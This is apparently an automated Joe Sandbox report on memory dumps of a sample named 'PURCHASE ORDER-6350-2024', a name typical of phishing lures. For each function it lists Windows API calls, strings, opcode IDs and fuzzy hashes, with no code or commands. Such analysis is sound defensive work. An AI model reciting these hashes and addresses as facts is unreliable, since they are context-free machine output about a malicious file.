Source File: 00000000.00000002.2057685940.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: b921c29ba07e56f4de4ed1ce85ec305097000be058c73190b4618c49b3a6db1b
Instruction ID: 79d32211b651189c6af6ef0884e2789b2f1ad2205afc34a4ba0155e5a4462459
Opcode Fuzzy Hash: b921c29ba07e56f4de4ed1ce85ec305097000be058c73190b4618c49b3a6db1b
Instruction Fuzzy Hash: B1311631A05200CFDB21EF6AD444AA9BFF1EF86314F1980AAD444DB362C675E845CBA1

Function 010E591C Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 010E59D9

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 08005f28129610484daa48c1beee2565119964a9c8bb51a0e5b42f3212720acf
Instruction ID: e49f8c217628a1fe803ccf2117cb8a4ec60656a4fdad9b395787803a27aa08a7
Opcode Fuzzy Hash: 08005f28129610484daa48c1beee2565119964a9c8bb51a0e5b42f3212720acf
Instruction Fuzzy Hash: 8F4122B4C00319CEDB24CFAAC888BDEBBF1BF49304F24809AD059AB250DB751946CF51

Function 010E5A94 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb1c4cc02b15feed7bfca8bf0b839ea2dbfcc9f9ed53bb13d5d184d3ce87f440
Instruction ID: 6a8e47591a7c79ef791b2a4787fd1e71cfe5ae4f8b483dc56cb955114666d86d
Opcode Fuzzy Hash: cb1c4cc02b15feed7bfca8bf0b839ea2dbfcc9f9ed53bb13d5d184d3ce87f440
Instruction Fuzzy Hash: 0731DF79804349CFDB12CBA9C8587EDBFF0AF46318F14848AC495AB256C775580ACF51

Function 010E4514 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 010E59D9

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 60080554b34612627cabf96a95f239597762160d11a1fb83ac8af28a58e3be43
Instruction ID: 425c513d5f278dee0c6905cf494009a53dc30643bedfcb60a5824944903a3ee5
Opcode Fuzzy Hash: 60080554b34612627cabf96a95f239597762160d11a1fb83ac8af28a58e3be43
Instruction Fuzzy Hash: F54103B4C00719CEDB24CFAAC848BDEBBF5BF49304F20805AD419AB250DB755946CF91

Function 010ED7A0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 010ED82F

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ab3a15b9c01173b66ffcfd7a60ef82441ef55e3a8161b1842e31319ac5ab3576
Instruction ID: 24ac44da308da00193a58671af9ee95d3650ae28cc1961041269ff542f98f88a
Opcode Fuzzy Hash: ab3a15b9c01173b66ffcfd7a60ef82441ef55e3a8161b1842e31319ac5ab3576
Instruction Fuzzy Hash: BB21E3B59002089FDB10CFAAD584ADEBFF5FB48310F14805AE958A3350D379A944CFA1

Function 010ED7A8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 010ED82F

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9bba9b9da3f5f418f0702292caa9c1b23762a300aa4a0a75f0633476ba35bdfa
Instruction ID: 5a7224a81fbfcc352021cd028b82e55ffdb43a654f73db3c3a0fd9a0f9b78520
Opcode Fuzzy Hash: 9bba9b9da3f5f418f0702292caa9c1b23762a300aa4a0a75f0633476ba35bdfa
Instruction Fuzzy Hash: 5821E2B59002089FDB10CFAAD984ADEBFF9FB48310F14805AE918A3350D379A940CFA0

Function 06DDA1F8 Relevance: 1.5, APIs: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,01106428,?,?,?,?,?,?,06DDA0B0,00000000,00000000,?), ref: 06DDA25D

Memory Dump Source

Source File: 00000000.00000002.2057685940.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: a672ceae1e34f72cb14c12c93e33e791fe7c07bd731ebd9fbe3877f65de31717
Instruction ID: 262b6cd5c1a294bf0a128492a2375958d6328de33280bde6865159690c6ea913
Opcode Fuzzy Hash: a672ceae1e34f72cb14c12c93e33e791fe7c07bd731ebd9fbe3877f65de31717
Instruction Fuzzy Hash: 7C11E3B5800248DFCB20DF9AD845BDEBFF8FB48314F24841AD958A3200D379A584CFA1

Function 06DC2BD1 Relevance: 1.5, APIs: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

GetDoubleClickTime.USER32 ref: 06DC2C49

Memory Dump Source

Source File: 00000000.00000002.2057650701.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: ClickDoubleTime
String ID:
API String ID: 590776121-0
Opcode ID: 550b279e3a0b5ca807cbea62bd9d338c1e64e0f55c124bd41b4f435092186adb
Instruction ID: 1eb84a338be4c7f43e953669df4c813c7e92022e40ee0de75c28769da87659a2
Opcode Fuzzy Hash: 550b279e3a0b5ca807cbea62bd9d338c1e64e0f55c124bd41b4f435092186adb
Instruction Fuzzy Hash: E911C0759043498FCB22DFA9E4043DEBFF4EF45324F1480AAC499A7252C2395645CBA1

Function 06DD88D8 Relevance: 1.5, APIs: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,01106428,?,?,?,?,?,?,06DDA0B0,00000000,00000000,?), ref: 06DDA25D

Memory Dump Source

Source File: 00000000.00000002.2057685940.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: a2be36279fbc2e4ef3434268fa2796ff0b18b37c99df366822b61a3dc8ce000f
Instruction ID: d1535c51e7a291d403c14babeb42b5cc68ece83c858d8416ca2795181de2969f
Opcode Fuzzy Hash: a2be36279fbc2e4ef3434268fa2796ff0b18b37c99df366822b61a3dc8ce000f
Instruction Fuzzy Hash: DE11E3B58003489FDB20DF9AD844BDEBFF8EB48314F14845AE518A7210C379A944CFA5

Function 010EB0B8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 010EB11E

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8fe630084029f54d3919b4a10c12beeed5b2336b5bb645dca23cd0662d01aea2
Instruction ID: 956b2c561dc512aac932e5c81c29421f49d211ac41aeca67aa3c14fdc908bdaf
Opcode Fuzzy Hash: 8fe630084029f54d3919b4a10c12beeed5b2336b5bb645dca23cd0662d01aea2
Instruction Fuzzy Hash: AE1110B5C002498FDB10DF9AD848ADEFBF5EF88324F10845AD568A7210C379A545CFA1

Function 06E10040 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

(aq, xrefs: 06E101DD

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: addf3fb717a84f623dd6bb252665c732708fe37d503a3bcc195949c6de43ea0f
Instruction ID: ba3327559862e0f91703673a5fea34496104f84336f8ce5f8b3828f45effaf55
Opcode Fuzzy Hash: addf3fb717a84f623dd6bb252665c732708fe37d503a3bcc195949c6de43ea0f
Instruction Fuzzy Hash: EA418131B002059FDB55DF69C8646EEBAE6FF88210F108929E806DB390DF75DD45C751

Function 06E1ABE0 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06E1AD16

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 6e0621bbdd7cd014a3d6c5ffa6639a5ed3d2bd4bfc29d011e96b784ec8fb7cff
Instruction ID: 92df7a93e70a414f7514375aeb678e901ef3b24e58e00dfdadd8c877f5a026fa
Opcode Fuzzy Hash: 6e0621bbdd7cd014a3d6c5ffa6639a5ed3d2bd4bfc29d011e96b784ec8fb7cff
Instruction Fuzzy Hash: F3210774D157488FEB58CFAAC9546EEBBF6AF99304F14D02AC419AF358DB700906CB90

Function 06E16130 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

8aq, xrefs: 06E1619C

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: 8aq
API String ID: 0-538729646
Opcode ID: 11127c00202500c94269bec9b8bcc7b0c3fc54a82f0de250bfaa07a0de865ee2
Instruction ID: 2753c9b0dfa4dcab0297f18e316a8c07a536112a1b9e5d4886cc9a0e0704debb
Opcode Fuzzy Hash: 11127c00202500c94269bec9b8bcc7b0c3fc54a82f0de250bfaa07a0de865ee2
Instruction Fuzzy Hash: 0A113375B04304CFEB859F789D04AAE77F7AB89205B14447AD60ADF382EA30CD088792

Function 06E1ABF0 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06E1AD16

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 619e97487e05a1d08604ea3a824e02f758aec96ffcab6fbf137589f679600138
Instruction ID: 353d17f2fb8c71423f122085bd0ea5ef7edc86afadbc2441f58742e394c53e3b
Opcode Fuzzy Hash: 619e97487e05a1d08604ea3a824e02f758aec96ffcab6fbf137589f679600138
Instruction Fuzzy Hash: 4621D570D057488BEB48CFAAC9546EEBBF6AF99300F14D02AC419AF358DB700906CB80

Function 06E1BC31 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

;, xrefs: 06E1BC3B

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: ;
API String ID: 0-1661535913
Opcode ID: c78dc706c34efc8f7e3e4488269fe4e6b0eda3f1b7e326c4c1248e355dea6c96
Instruction ID: 438989e6facb717917a02da3570fe31f53d5daa2c08bf4a80875e0c173da60fb
Opcode Fuzzy Hash: c78dc706c34efc8f7e3e4488269fe4e6b0eda3f1b7e326c4c1248e355dea6c96
Instruction Fuzzy Hash: 86215830948349CFDB90CF94C484AECBBB6AF0A311F206185D409EF605C7399989DB50

Function 06E1ACD6 Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06E1AD74

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: b6d748f70039af6c8309b75d2f859db40e737e1603f1f082dbd1da5734fde62b
Instruction ID: edbaee35a33c4b45bdddb4e1a469860cdce77a910d1dd3136f70a33ec0576b70
Opcode Fuzzy Hash: b6d748f70039af6c8309b75d2f859db40e737e1603f1f082dbd1da5734fde62b
Instruction Fuzzy Hash: 05117F75E00209CFDB09DFE8C5849EDBBB2FB88310F60812ADA19AB355C631A956CF50

Function 06E1AD5D Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06E1AD74

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: c6ce6f738b5e0e488dffee461877c5bddb15980f63c18253c90ad5f86bb39d26
Instruction ID: a80e23b7403a90c665f5eed674b300e1117026911e3fea7c9de507012f3cc6a4
Opcode Fuzzy Hash: c6ce6f738b5e0e488dffee461877c5bddb15980f63c18253c90ad5f86bb39d26
Instruction Fuzzy Hash: F4117275E01209DFCB05CFE8D4849ADFBB2FF48314F60416ADA09AB355C6326956CF50

Function 06E15190 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bfa470b0b51011cfcca071a1dc4812bfb22e2b6ca83a98fcd12327895f32656
Instruction ID: 87a5949b1389003f867f5603685fc62855214b4bf8128447bf17826068b425ca
Opcode Fuzzy Hash: 9bfa470b0b51011cfcca071a1dc4812bfb22e2b6ca83a98fcd12327895f32656
Instruction Fuzzy Hash: 8CD1137090E394DFC7169FB8886019A7FB1EFC6300B1584D7D092CF2A3DA788909C7A6

Function 06E130F0 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ec04f61b77bb961560dfdb22eca88aabac18c1b5e9f118ec05c3785081239f8
Instruction ID: eafc5fa5d8f7897a939f733ac6752002e4cd3babb29424b4b6bc3fc77984393e
Opcode Fuzzy Hash: 3ec04f61b77bb961560dfdb22eca88aabac18c1b5e9f118ec05c3785081239f8
Instruction Fuzzy Hash: 57F1B771D1061ACBCF10DFA8C854AEDB7B5FF99300F1086A9E559B7214EB70AA85CF90

Function 06E130DF Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e62ab6a7e4e69bf9f8714fdd714c9fa09986b773c06ffd1b33183660ebcb3aa6
Instruction ID: c7074ab7868f48ed4295ef34a5b26e6fd60a5e16bf0ed21c92a48a0011d35e3d
Opcode Fuzzy Hash: e62ab6a7e4e69bf9f8714fdd714c9fa09986b773c06ffd1b33183660ebcb3aa6
Instruction Fuzzy Hash: CCE1D871D1061A8FCF50DFA8C8545EDB7B5BF59300F1086AAE549B7214EB70AA89CF90

Function 06E13700 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fed334f125c3265baf8120b9fc656d06b6b407658b9df7c25a349936119a903
Instruction ID: d8c6a96923a58c7616472168a83e6ce7375d7aa6b7f90ae7f35d801a245c88b7
Opcode Fuzzy Hash: 0fed334f125c3265baf8120b9fc656d06b6b407658b9df7c25a349936119a903
Instruction Fuzzy Hash: 14C16B31F10219CFDB54DF68C8546EDB7B2BF85304F1485A9D44ABB264EB30AE85CB91

Function 06E12380 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c21c0560bd2ffde863ed76cab513a4d2560eb4d75ab78795a608661bf5db3f
Instruction ID: c05dc303b64b18848cf186e4f377fe7ce90bda055f7bf1f24e50306f78bb7437
Opcode Fuzzy Hash: 71c21c0560bd2ffde863ed76cab513a4d2560eb4d75ab78795a608661bf5db3f
Instruction Fuzzy Hash: 4F81D230E10219DFDB55EF68D8986ECBBB0FF44314F115069D146AB2A8EB30DAA5DB81

Function 06E17B59 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d93b5e76e189fe974246202b22da0822feccafff1edeec3b7d50576bb8c6b7
Instruction ID: 84ec23f75367529fa0f82332ef97f60d5df0ac6b7cc5bd40dc2f933254069400
Opcode Fuzzy Hash: 60d93b5e76e189fe974246202b22da0822feccafff1edeec3b7d50576bb8c6b7
Instruction Fuzzy Hash: 41818B70A042598FDF54CFA8C590AEEBBF2BF44700F1094AAD4669B385D730DD42DB90

Function 06E17BE9 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e32b02209fd2d769b6476baa6bac1f375f96a18cffee3db350202d16a3dd2a1a
Instruction ID: cc55ee4a30f87075acef4053b7adaea672f235679564a1f7278f5c04b67e152a
Opcode Fuzzy Hash: e32b02209fd2d769b6476baa6bac1f375f96a18cffee3db350202d16a3dd2a1a
Instruction Fuzzy Hash: 05616970E046198FDF44CFA9C590AEEBBF2BF48700F10999AD4669B245D734DD42DB90

Function 06E173F7 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c21f9d692eaf05f2e64c022186c63428ea02035dfa3af01a9e225c6e9e36e0b
Instruction ID: 17a43587b16f6e44b3f8ade1309c1d1941e5274cc80d86ca52a55dc5d0494d3a
Opcode Fuzzy Hash: 6c21f9d692eaf05f2e64c022186c63428ea02035dfa3af01a9e225c6e9e36e0b
Instruction Fuzzy Hash: C1519330E00205DFEF449FE9C9517EEBBB2BF44B00F108526E952AB385DB349942DB91

Function 06E14F18 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b23dd99a2ee5cb25617c186d770d84c282d5dd150a505ab7b4ed95fbf989de47
Instruction ID: 95e37b9799f4b1490857f8bb76de8efb299caa3411eb2584866edc330cbc878c
Opcode Fuzzy Hash: b23dd99a2ee5cb25617c186d770d84c282d5dd150a505ab7b4ed95fbf989de47
Instruction Fuzzy Hash: 1A51A131B002459FD705AF78D445AAEBBB2BF89300F14C4A9D995AF39ACF316949C781

Function 06E14F28 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb4d0cafd12ec6b9bb161d3829150c27790733969068d719fb8aead5e2f6faa
Instruction ID: 98bafca0e91af268e51370a5badc84c2fef3d23c326aaa97247ff075935be7f2
Opcode Fuzzy Hash: beb4d0cafd12ec6b9bb161d3829150c27790733969068d719fb8aead5e2f6faa
Instruction Fuzzy Hash: 8F519031B002059BD704AFB8D545AAEBBB3BF89300F14C4A9DD956F39ACF316949C781

Function 06E16A88 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfcac57783071d02df33583a4c92f7c28c00023bb4cbe07695f262815533fa86
Instruction ID: a0f18695ea1fc854ec1278d3e193800817ad894979ef9089252c684d33c311aa
Opcode Fuzzy Hash: cfcac57783071d02df33583a4c92f7c28c00023bb4cbe07695f262815533fa86
Instruction Fuzzy Hash: 1251D131E04315AFEB50CFA8C844ABEBBF6FB48341F149066E501EF286D634C945DB91

Function 06E10338 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c203db585ae25d1d6afc5774b950340497d189c3d1e7d4f0df73e01f094a4438
Instruction ID: ab225e898acae3a477e67b8b32bd3bb598d075f3b241afaa8dae77c2ce030a4c
Opcode Fuzzy Hash: c203db585ae25d1d6afc5774b950340497d189c3d1e7d4f0df73e01f094a4438
Instruction Fuzzy Hash: 4C515C70E00208CFCB55DFA8D598A9EBBF2EF99315F148469E406AB361DB35DC82CB50

Function 06E141C8 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4c73e0089890600de967620f2754aedd77ef28920a36091f572db674a4e5b92
Instruction ID: aaf9efd20353698c64261efada8b67d5257e0c8ffcb6a1fe53754700be564775
Opcode Fuzzy Hash: f4c73e0089890600de967620f2754aedd77ef28920a36091f572db674a4e5b92
Instruction Fuzzy Hash: BE418E30A11305CFEB99DFA4E958AAEB7F6AF85300F148169D812DB394DE31D841CB91

Function 06E13E68 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39b0d8fa46fecd6d72a4cb6ee00b9ab21bb8423a70dbdb6eba13014cdd30ee1f
Instruction ID: 9308d6599a0a6bf9b2cac217c6ec098412bc2045492f73f808fcc127a27d5798
Opcode Fuzzy Hash: 39b0d8fa46fecd6d72a4cb6ee00b9ab21bb8423a70dbdb6eba13014cdd30ee1f
Instruction Fuzzy Hash: 1A518231E10609DFCB04EFA8D8849EDF7B5FF89300F10856AE555AB320EB71A949CB90

Function 06E1E1AF Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8296b10c6dc6c3e43621e8072c5b0e808b3a271f23d8ec1dfb3f116dda938b
Instruction ID: 6efef55c80f536054cf69b95f4c89ac4e52def6e70c15686ff1726238b518491
Opcode Fuzzy Hash: 8c8296b10c6dc6c3e43621e8072c5b0e808b3a271f23d8ec1dfb3f116dda938b
Instruction Fuzzy Hash: 30513774906205CFD790DF68E6489ACBBF6FB09302B40A065F90A9F352DB34AD46DF51

Function 06E12170 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728f4e556aa1a7c5e7c055b24d72ee946008ad0e02a16b3655a7d8d578d27097
Instruction ID: bf903969c2f3f6c4e321470e4fd3d7a9ac15d41c2445de90bbf7ef34dc6fe339
Opcode Fuzzy Hash: 728f4e556aa1a7c5e7c055b24d72ee946008ad0e02a16b3655a7d8d578d27097
Instruction Fuzzy Hash: F0416D30A112099FDB54EFA9D850AADBBF6EF89314F148569E501FB3A0DB30D981DB90

Function 06E1A0EB Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af673d07894554629416a5d798698d14115edeed98addfe6969569eb80575a1f
Instruction ID: b5f4789bb08030efa29c75656426b4fd46cee1ccba71eff6d6715fa388242be8
Opcode Fuzzy Hash: af673d07894554629416a5d798698d14115edeed98addfe6969569eb80575a1f
Instruction Fuzzy Hash: 4441E570A0A305CFD760CFAED8002BABBB5AF85300F14917BE556CF292D279C548E7A1

Function 06E10328 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
